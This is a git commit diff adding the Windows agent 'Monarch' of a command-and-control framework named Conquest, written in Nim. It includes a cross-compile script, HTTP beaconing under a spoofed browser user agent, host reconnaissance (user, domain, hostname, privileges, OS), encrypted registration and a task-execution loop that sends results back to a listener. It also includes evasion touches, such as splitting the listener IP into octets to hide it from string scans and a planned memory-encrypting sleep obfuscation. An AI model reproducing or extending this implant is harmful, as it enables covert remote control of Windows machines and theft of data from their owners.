Rework module system. Now modules/commands are defined in a single file each, with both the function executed by teh agent and the definition for server-side argument parsing.

This commit is contained in:
Jakob Friedl
2025-07-25 16:41:29 +02:00
parent ad31b90687
commit 7bf135750c
25 changed files with 549 additions and 489 deletions

7
src/agent/README.md Normal file
View File

@@ -0,0 +1,7 @@
# Conquest Agents
The `Monarch` agent is designed to run primarily on Windows. For cross-compilation from UNIX, use:
```
./build.sh
```

12
src/agent/build.sh Normal file
View File

@@ -0,0 +1,12 @@
#!/bin/bash
CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
nim --os:windows \
--cpu:amd64 \
--gcc.exe:x86_64-w64-mingw32-gcc \
--gcc.linkerexe:x86_64-w64-mingw32-gcc \
-d:release \
--outdir:"$CONQUEST_ROOT/bin" \
-o:"monarch.x64.exe" \
-d:agent \
c $CONQUEST_ROOT/src/agent/main.nim

View File

@@ -0,0 +1,43 @@
import times
import ../../common/[types, serialize, utils, crypto]
proc createHeartbeat*(config: AgentConfig): Heartbeat =
return Heartbeat(
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_HEARTBEAT),
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: uuidToUint32(config.agentId),
seqNr: 0'u64,
iv: generateIV(),
gmac: default(AuthenticationTag)
),
listenerId: uuidToUint32(config.listenerId),
timestamp: uint32(now().toTime().toUnix())
)
proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte] =
var packer = initPacker()
# Serialize check-in / heartbeat request
packer
.add(request.listenerId)
.add(request.timestamp)
let body = packer.pack()
packer.reset()
# Encrypt check-in / heartbeat request body
let (encData, gmac) = encrypt(config.sessionKey, request.header.iv, body, request.header.seqNr)
# Set authentication tag (GMAC)
request.header.gmac = gmac
# Serialize header
let header = packer.packHeader(request.header, uint32(encData.len))
return header & encData

84
src/agent/core/http.nim Normal file
View File

@@ -0,0 +1,84 @@
import httpclient, json, strformat, asyncdispatch
import ../../common/[types, utils]
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
# Define HTTP headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $registrationData.len
})
let body = registrationData.toString()
try:
# Register agent to the Conquest server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body)
except CatchableError as err:
echo "[-] [register]:", err.msg
quit(0)
finally:
client.close()
return true
proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
var responseBody = ""
# Define HTTP headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $checkinData.len
})
let body = checkinData.toString()
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/tasks", body)
return responseBody
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [getTasks]: " & err.msg
finally:
client.close()
return ""
proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
# Define headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $resultData.len
})
let body = resultData.toString()
echo body
try:
# Send binary task result data to server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body)
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] [postResults]: " & err.msg
return false
finally:
client.close()
return true

258
src/agent/core/register.nim Normal file
View File

@@ -0,0 +1,258 @@
import winim, os, net, strformat, strutils, registry, sugar
import ../../common/[types, serialize, crypto, utils]
# Hostname/Computername
proc getHostname(): string =
var
buffer = newWString(CNLEN + 1)
dwSize = DWORD buffer.len
GetComputerNameW(&buffer, &dwSize)
return $buffer[0 ..< int(dwSize)]
# Domain Name
proc getDomain(): string =
const ComputerNameDnsDomain = 2 # COMPUTER_NAME_FORMAT (https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/ne-sysinfoapi-computer_name_format)
var
buffer = newWString(UNLEN + 1)
dwSize = DWORD buffer.len
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
return $buffer[ 0 ..< int(dwSize)]
# Username
proc getUsername(): string =
const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format)
var
buffer = newWString(UNLEN + 1)
dwSize = DWORD buffer.len
if getDomain() != "":
# If domain-joined, return username in format DOMAIN\USERNAME
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
else:
# If not domain-joined, only return USERNAME
discard GetUsernameW(&buffer, &dwSize)
return $buffer[0 ..< int(dwSize)]
# Current process name
proc getProcessExe(): string =
let
hProcess: HANDLE = GetCurrentProcess()
buffer = newWString(MAX_PATH + 1)
try:
if hProcess != 0:
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
# We replace trailing NULL bytes to prevent them from being sent as JSON data
return string($buffer).extractFilename().replace("\u0000", "")
finally:
CloseHandle(hProcess)
# Current process ID
proc getProcessId(): int =
return int(GetCurrentProcessId())
# Current process elevation/integrity level
proc isElevated(): bool =
# isAdmin() function from the 'os' module returns whether the process is executed with administrative privileges
return isAdmin()
# IPv4 Address (Internal)
proc getIPv4Address(): string =
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
return $getPrimaryIpAddr()
# Windows Version fingerprinting
type
ProductType = enum
UNKNOWN = 0
WORKSTATION = 1
DC = 2
SERVER = 3
# API Structs
type OSVersionInfoExW {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
dwOSVersionInfoSize: ULONG
dwMajorVersion: ULONG
dwMinorVersion: ULONG
dwBuildNumber: ULONG
dwPlatformId: ULONG
szCSDVersion: array[128, WCHAR]
wServicePackMajor: USHORT
wServicePackMinor: USHORT
wSuiteMask: USHORT
wProductType: UCHAR
wReserved: UCHAR
proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
let
major = info.dwMajorVersion
minor = info.dwMinorVersion
build = info.dwBuildNumber
spMajor = info.wServicePackMajor
if major == 10 and minor == 0:
if productType == WORKSTATION:
if build >= 22000:
return "Windows 11"
else:
return "Windows 10"
else:
case build:
of 20348:
return "Windows Server 2022"
of 17763:
return "Windows Server 2019"
of 14393:
return "Windows Server 2016"
else:
return fmt"Windows Server 10.x (Build: {build})"
elif major == 6:
case minor:
of 3:
if productType == WORKSTATION:
return "Windows 8.1"
else:
return "Windows Server 2012 R2"
of 2:
if productType == WORKSTATION:
return "Windows 8"
else:
return "Windows Server 2012"
of 1:
if productType == WORKSTATION:
return "Windows 7"
else:
return "Windows Server 2008 R2"
of 0:
if productType == WORKSTATION:
return "Windows Vista"
else:
return "Windows Server 2008"
else:
discard
elif major == 5:
if minor == 2:
if productType == WORKSTATION:
return "Windows XP x64 Edition"
else:
return "Windows Server 2003"
elif minor == 1:
return "Windows XP"
else:
discard
return "Unknown Windows Version"
proc getProductType(): ProductType =
# The product key is retrieved from the registry
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
# ProductType REG_SZ WinNT
# Possible values are:
# LanmanNT -> Server/Domain Controller
# ServerNT -> Server
# WinNT -> Workstation
# Using the 'registry' module, we can get the exact registry value
case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE)
of "WinNT":
return WORKSTATION
of "ServerNT":
return SERVER
of "LanmanNT":
return DC
proc getOSVersion(): string =
proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
when defined(windows):
var osInfo: OSVersionInfoExW
discard rtlGetVersion(osInfo)
# echo $int(osInfo.dwMajorVersion)
# echo $int(osInfo.dwMinorVersion)
# echo $int(osInfo.dwBuildNumber)
# RtlGetVersion does not actually set the Product Type, which is required to differentiate
# between workstation and server systems. The value is set to 0, which would lead to all systems being "unknown"
# Normally, a value of 1 indicates a workstation os, while other values represent servers
# echo $int(osInfo.wProductType).toHex
# We instead retrieve the
return getWindowsVersion(osInfo, getProductType())
else:
return "Unknown"
proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
return AgentRegistrationData(
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_REGISTER),
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: uuidToUint32(config.agentId),
seqNr: 1'u64, # TODO: Implement sequence tracking
iv: generateIV(),
gmac: default(AuthenticationTag)
),
agentPublicKey: config.agentPublicKey,
metadata: AgentMetadata(
listenerId: uuidToUint32(config.listenerId),
username: getUsername().toBytes(),
hostname: getHostname().toBytes(),
domain: getDomain().toBytes(),
ip: getIPv4Address().toBytes(),
os: getOSVersion().toBytes(),
process: getProcessExe().toBytes(),
pid: cast[uint32](getProcessId()),
isElevated: cast[uint8](isElevated()),
sleep: cast[uint32](config.sleep)
)
)
proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistrationData): seq[byte] =
var packer = initPacker()
# Serialize registration data
packer
.add(data.metadata.listenerId)
.addVarLengthMetadata(data.metadata.username)
.addVarLengthMetadata(data.metadata.hostname)
.addVarLengthMetadata(data.metadata.domain)
.addVarLengthMetadata(data.metadata.ip)
.addVarLengthMetadata(data.metadata.os)
.addVarLengthMetadata(data.metadata.process)
.add(data.metadata.pid)
.add(data.metadata.isElevated)
.add(data.metadata.sleep)
let metadata = packer.pack()
packer.reset()
# Encrypt metadata
let (encData, gmac) = encrypt(config.sessionKey, data.header.iv, metadata, data.header.seqNr)
# Set authentication tag (GMAC)
data.header.gmac = gmac
# Serialize header
let header = packer.packHeader(data.header, uint32(encData.len))
packer.reset()
# Serialize the agent's public key to add it to the header
packer.addData(data.agentPublicKey)
let publicKey = packer.pack()
return header & publicKey & encData

83
src/agent/core/task.nim Normal file
View File

@@ -0,0 +1,83 @@
import strutils, tables, json, strformat, sugar
import ../../modules/manager
import ../../common/[types, serialize, crypto, utils]
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
try:
return getCommandByType(cast[CommandType](task.command)).execute(config, task)
except CatchableError:
echo "[-] Command not found."
proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
var unpacker = initUnpacker(bytes.toString)
let header = unpacker.unpackHeader()
# Packet Validation
if header.magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.")
if header.packetType != cast[uint8](MSG_TASK):
raise newException(CatchableError, "Invalid packet type.")
# TODO: Validate sequence number
# Decrypt payload
let payload = unpacker.getBytes(int(header.size))
let (decData, gmac) = decrypt(config.sessionKey, header.iv, payload, header.seqNr)
if gmac != header.gmac:
raise newException(CatchableError, "Invalid authentication tag (GMAC) for task.")
# Deserialize decrypted data
unpacker = initUnpacker(decData.toString)
let
taskId = unpacker.getUint32()
listenerId = unpacker.getUint32()
timestamp = unpacker.getUint32()
command = unpacker.getUint16()
var argCount = unpacker.getUint8()
var args = newSeq[TaskArg]()
# Parse arguments
var i = 0
while i < int(argCount):
args.add(unpacker.getArgument())
inc i
return Task(
header: header,
taskId: taskId,
listenerId: listenerId,
timestamp: timestamp,
command: command,
argCount: argCount,
args: args
)
proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] =
result = newSeq[Task]()
var unpacker = initUnpacker(packet)
var taskCount = unpacker.getUint8()
echo fmt"[*] Response contained {taskCount} tasks."
if taskCount <= 0:
return @[]
while taskCount > 0:
# Read length of each task and store the task object in a seq[byte]
let
taskLength = unpacker.getUint32()
taskBytes = unpacker.getBytes(int(taskLength))
result.add(config.deserializeTask(taskBytes))
dec taskCount

View File

@@ -0,0 +1,59 @@
import times, sugar
import ../../common/[types, serialize, crypto, utils]
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
# TODO: Implement sequence tracking
return TaskResult(
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_RESPONSE),
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: task.header.agentId,
seqNr: 1'u64,
iv: generateIV(),
gmac: default(array[16, byte])
),
taskId: task.taskId,
listenerId: task.listenerId,
timestamp: uint32(now().toTime().toUnix()),
command: task.command,
status: cast[uint8](status),
resultType: cast[uint8](resultType),
length: uint32(resultData.len),
data: resultData,
)
proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[byte] =
var packer = initPacker()
# Serialize result body
packer
.add(taskResult.taskId)
.add(taskResult.listenerId)
.add(taskResult.timestamp)
.add(taskResult.command)
.add(taskResult.status)
.add(taskResult.resultType)
.add(taskResult.length)
if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT:
packer.addData(taskResult.data)
let body = packer.pack()
packer.reset()
# Encrypt result body
let (encData, gmac) = encrypt(config.sessionKey, taskResult.header.iv, body, taskResult.header.seqNr)
# Set authentication tag (GMAC)
taskResult.header.gmac = gmac
# Serialize header
let header = packer.packHeader(taskResult.header, uint32(encData.len))
return header & encData

109
src/agent/main.nim Normal file
View File

@@ -0,0 +1,109 @@
import strformat, os, times, system, base64
import winim
import core/[task, taskresult, heartbeat, http, register]
import ../modules/manager
import ../common/[types, utils, crypto]
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
const Octet2 {.intdefine.}: int = 0
const Octet3 {.intdefine.}: int = 0
const Octet4 {.intdefine.}: int = 0
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
const ServerPublicKey {.strdefine.}: string = ""
proc main() =
#[
The process is the following:
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
2. Agent collects information relevant for the registration (using Windows API)
3. Agent registers to the teamserver
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
]#
# The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay):
echo "Missing agent configuration."
quit(0)
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
# Create agent configuration
var config: AgentConfig
try:
var agentKeyPair = generateKeyPair()
let serverPublicKey = decode(ServerPublicKey).toKey()
config = AgentConfig(
agentId: generateUUID(),
listenerId: ListenerUuid,
ip: address,
port: ListenerPort,
sleep: SleepDelay,
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
agentPublicKey: agentKeyPair.publicKey
)
# Cleanup agent's secret key
wipeKey(agentKeyPair.privateKey)
except CatchableError as err:
echo "[-] " & err.msg
# Load agent commands
loadModules()
# Create registration payload
var registration: AgentRegistrationData = config.collectAgentMetadata()
let registrationBytes = config.serializeRegistrationData(registration)
config.register(registrationBytes)
echo fmt"[+] [{config.agentId}] Agent registered."
#[
Agent routine:
1. Sleep Obfuscation
2. Retrieve task from /tasks endpoint
3. Execute task and post result to /results
4. If additional tasks have been fetched, go to 2.
5. If no more tasks need to be executed, go to 1.
]#
while true:
# TODO: Replace with actual sleep obfuscation that encrypts agent memory
sleep(config.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in."
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
var heartbeat: Heartbeat = config.createHeartbeat()
let
heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat)
packet: string = config.getTasks(heartbeatBytes)
if packet.len <= 0:
echo "No tasks to execute."
continue
let tasks: seq[Task] = config.deserializePacket(packet)
if tasks.len <= 0:
echo "No tasks to execute."
continue
# Execute all retrieved tasks and return their output to the server
for task in tasks:
var result: TaskResult = config.handleTask(task)
let resultBytes: seq[byte] = config.serializeTaskResult(result)
config.postResults(resultBytes)
when isMainModule:
main()

9
src/agent/nim.cfg Normal file
View File

@@ -0,0 +1,9 @@
# Agent configuration
-d:ListenerUuid="D3AC0FF3"
-d:Octet1="127"
-d:Octet2="0"
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=9999
-d:SleepDelay=5
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="